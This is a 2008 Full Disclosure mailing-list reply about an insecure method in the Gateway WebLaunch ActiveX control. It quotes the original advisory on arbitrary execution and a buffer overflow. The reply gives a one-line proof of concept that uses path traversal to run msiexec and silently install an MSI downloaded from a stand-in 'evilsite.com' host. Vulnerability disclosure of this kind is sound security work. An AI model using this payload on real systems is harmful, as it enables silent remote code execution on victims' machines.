Full Disclosure: Re: Gateway WebLaunch ActiveX Control Insecure Method

["Elazar Broad" <elazar () hushmail com>]

I was playing with this a bit more. Everybody has the Windows 
Installer installed, right? How about this:

obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe",
"","/i http://www.evilsite.com/evilapp.msi /quiet");

Elazar

On Tue, 08 Jan 2008 20:08:53 -0500 elazar () hushmail com wrote:
> The DoWebLaunch() method of the Gateway WebLauncher ActiveX 
> control 
> allows for the execution or arbitrary application on a system, 
> additionally this method is vulnerable to a buffer overflow in the 
>
> 2nd and 4th parameters. Both weblaunch.ocx and weblaunch2.ocx 
> allow 
> the execution of arbitrary files, weblaunch.ocx is vulnerable to 
> the above mentioned buffer overflow, I have not checked 
> weblaunch2.ocx. Exploit: http://www.milw0rm.com/exploits/4869
>
> Elazar
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
--
Click for free information and quotes for interest only loans.
http://tagline.hushmail.com/fc/Ioyw6h4dQLTWDiGHz23XbuHRjFjoKIh931B6M5EFWM7GG2w6BuCtD6/
> Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/